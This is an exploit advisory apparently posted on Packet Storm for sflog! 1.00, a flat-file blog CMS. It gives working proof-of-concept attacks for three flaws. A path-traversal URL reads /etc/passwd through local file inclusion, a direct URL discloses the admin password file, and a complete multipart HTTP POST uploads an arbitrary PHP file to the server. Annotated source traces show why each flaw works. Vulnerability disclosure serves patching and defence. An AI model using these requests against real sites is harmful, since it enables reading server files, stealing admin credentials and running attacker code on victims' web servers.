exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

sflog! 1.00 LFI / Password Disclosure / Shell Upload

sflog! 1.00 LFI / Password Disclosure / Shell Upload
Posted Jul 6, 2012
Authored by dun

sflog! versions 1.00 and below suffer from local file inclusion, administrative password disclosure, and remote shell upload vulnerabilities.

tags | exploit, remote, shell, local, vulnerability, file inclusion, info disclosure
SHA-256 | a330468dd724ab2f78215e629c1c00b9dcb52c8249a68c63ac563236adda7e5a

sflog! 1.00 LFI / Password Disclosure / Shell Upload

Change Mirror Download
  :::::::-.   ...    ::::::.    :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM

[ Discovered by dun \ posdub[at]gmail.com ]
[ 2012-07-05 ]
#################################################
# [ sflog! <= 1.00 ] Multiple Vulnerabilities #
#################################################
#
# Script: "sflog! is a flat and light CMS::Blog system."
#
# Vendor: http://sourceforge.net/projects/sflog/
# Download: http://sourceforge.net/projects/sflog/files/sflog/
#
#
# [ LFI ]
#
# PoC: http://localhost/sflog/index.php?blog=admin&section=../../../../../../../etc/&permalink=passwd
#
# File: ./sflog/index.php (lines: 1, 53)
# ..cut..
# 1 <?php include("./includes/pageHeader.inc.php"); ?> // 1
# ..cut..
#
# 53 require_once("./includes/entries.inc.php"); // 4
# ..cut..
#
# File: ./sflog/includes/pageHeader.inc.php (lines: 20, 35)
# ..cut..
# 20 $_blogID = $_GET['blog']; // 2
# ..cut..
#
# 35 $_sectionID = $_GET['section']; // 3
# ..cut..
#
# File: ./sflog/includes/entries.inc.php (lines: 2-11)
# ..cut..
# 2 include_once("./cms/BlogEntry.class.php"); // 5
# 3 include_once("./cms/Blog.class.php");
# 4 $blog = new BlogEntry($_blogID,$_sectionID); // 6
# 5 $cms = new Blog();
# 6 $pages = $cms->getPostPerPage($_blogID);
# 7
# 8 // checks for permalink
# 9 if (isset($_GET['permalink'])){
# 10 $_permalink = $_GET['permalink']; // 8
# 11 $blog->showEntry($_permalink); // 9
# ..cut..
#
# File: ./sflog/cms/BlogEntry.class.php (lines: 37-85)
# ..cut..
# 37 class BlogEntry {
# ..cut..
# 47 function BlogEntry($blogID,$sectionID){ // 7
# 48 error_reporting(E_USER_ERROR); //
# 49 $this->blogID = $blogID; //
# 50 $this->sectionID = $sectionID; //
# 51 }
# ..cut..
# 57 function showEntry($entryID){ // 10
# ..cut..
# 60 $JournalContentDir = "./blogs/".$this->blogID."/data/".$this->sectionID; // 11
# ..cut..
# 80 $JournalContent = $JournalContentDir."/".$entryID; // 12
# ..cut..
# 83 include_once $JournalContent; // 13 [LFI]
# ..cut..
#
#################################################
# [ Admin Password Disclosure ]
#
# PoC: http://localhost/sflog/admin/passwd
#
#################################################
# [ Arbitrary File Upload ]
#
# File: ./sflog/admin/includes/uploadContent.inc.php (lines: 62-72)
# ..cut..
# 62 if (trim($_FILES['fileID']['name'])!=''){
# 63 $uploaddir = BLOG_PATH.$blogID.BLOG_UPLOADS;
# 64 $uploadfile = $uploaddir . basename($_FILES['fileID']['name']);
# 65 echo '<pre>';
# 66 if (move_uploaded_file($_FILES['fileID']['tmp_name'], $uploadfile)) {
# 67 print(UPLOAD_SUCCESS);
# 68 } else {
# 69 print('<font color="red">'.UPLOAD_FAILED.'</font>');
# 70 }
# 71 print "</pre>";
# 72 }
# ..cut..
#
# PoC:
#
# POST /sflog/admin/includes/uploadContent.inc.php HTTP/1.1
# Host: localhost
# User-Agent: Mozilla/5.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: pl,en-us;q=0.7,en;q=0.3
# Accept-Encoding: gzip, deflate
# Connection: keep-alive
# Content-Type: multipart/form-data; boundary=---------------------------4827543632391
# Content-Length: 411
# -----------------------------4827543632391
# Content-Disposition: form-data; name="blogID"
#
# admin
# -----------------------------4827543632391
# Content-Disposition: form-data; name="MAX_FILE_SIZE"
#
# 0
# -----------------------------4827543632391
# Content-Disposition: form-data; name="fileID"; filename="info.php"
# Content-Type: text/x-php
#
# <?php phpinfo(); ?>
#
# -----------------------------4827543632391--
#
#
# Uploaded file will be here: http://localhost/sflog/blogs/admin/uploads/info.php
#
### [ dun / 2012 ] #####################################################
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close